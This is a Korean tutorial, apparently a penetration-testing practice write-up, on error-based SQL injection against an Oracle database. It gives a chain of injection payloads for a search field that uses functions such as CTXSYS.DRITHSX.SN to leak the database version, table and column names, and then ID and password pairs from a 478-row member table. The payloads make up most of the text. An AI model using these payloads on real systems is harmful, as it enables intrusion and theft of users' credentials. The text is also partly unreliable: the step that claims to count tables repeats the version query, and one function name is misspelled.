Error Based SQL Injection

SQL Injection이란?

[모의해킹] - SQL Injection 공격(Union, Error, Blind...)

 

SQL Injection 공격(Union, Error, Blind...)

SQL Injection Injection(삽입)은 외부 입력값을 내부처리에 사용하는 경우, 외부 입력값 처리를 조작하는 문자열 포함 여부를 확인하지 않고 사용하는 경우 또는 원래 의도했던 처리가 변경되어 수행

psjin230.tistory.com

 

Error Based SQL Injection

Error Based SQL Injection은 사용자 입력값으로 악의적인 SQL 쿼리를 삽입하여 데이터베이스에서 발생하는 오류 메시지를 통해 민감한 정보를 추출하는 공격입니다. 주로 웹 애플리케이션이 데이터베이스 오류 메시지를 클라이언트에게 노출하거나 로그에 남기는 경우에 발생합니다.

공격대상
UTL_INADDR.GET_HOST_NAME((원하는 서브쿼리 내용))
UTL_INAADR.GET_HOST_ADDRESS((원하는 서브쿼리 내용))
ORDSYS.ORD_DICOM.GETMAPPINGXPATH((원하는 서브쿼리 내용),user,user)
CTXSYS.DRITHSX.SN(user,(원하는 서브쿼리 내용))

 

(1) DB 정보 추출

[입력] 대치동%' and ctxsys.drithsx.sn(1,(select banner from v$version where rownum=1)) = 1 --

=> DB 정보 : Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production

 

(2) 전체 테이블 개수 확인

[입력] 대치동%' and ctxsys.drithsx.sn(1,(select banner from v$version where rownum=1)) = 1 --

=> 테이블 개수 : 111개

 

(3) 데이터 획득을 원하는 테이블 찾기(LHSMEMBER3 찾기)

[입력]

대치동%' and ctxsys.drithsx.sn(user, (select table_name from (select table_name, rownum as rnum from all_tables) where rnum=60)) = 1--

rnum=1
rnum=25
rnum=60

=> rnum을 111까지 번호를 증가시키면서 원하는 테이블명이 있는지 확인합니다.

=> 60번째 테이블명 : LHSMEMBER3

 

(4) LHSMEMBER3 테이블의 컬럼 개수 확인

[입력] 대치동%' and ctxsys.drithsx.sn(user, (select count(column_name) from all_tab_columns where table_name='LHSMEMBER3'))=1--

=> LHSMEMBER3의 컬럼 개수 : 14개

 

(5) LHSMEMBER3 테이블에서 원하는 컬럼명 찾기(ID, PW)

[입력] 대치동%' and ctxsys.drithsx.sn(user, (select column_name from (select column_name, rownum as rnum from all_tab_columns where table_name='LHSMEMBER3') where rnum=13))=1--

rnum=13
rnum=14

=> rnum 값을 14까지 번호를 증가시키면서 원하는 컬럼명이 있는지 확인합니다.

=> 13번째 컬럼명 : PW, 14번째 컬럼명 : ID

 

(6) LHSMEMBER3 테이블에 존재하는 데이터 개수 확인

[입력] 대치동%' and ctxsys.drithsx.sn(user,(select count(id) from LHSMEMBER3))=1-- 

=> 데이터 개수 : 478개

 

(7) LHSMEMBER3 테이블에서 ID와 PW 데이터 추출

[입력] 대치동%' and ctxsys.drithsx.sn(user, (SELECT id||':::::'||pw FROM (SELECT id, pw, rownum AS rnum FROM LHSMEMBER3) WHERE rnum=1))=1--

★Oracle DB에서 문자열 합치기 : concat 함수 또는 ||(파이프 두개)

rnum=1
rnum=300

=> ID:::::PW 형식으로 추출

=> rnum 값을 478까지 번호를 증가시키면서 원하는 데이터를 찾을 때 까지 ID와 PW를 추출합니다.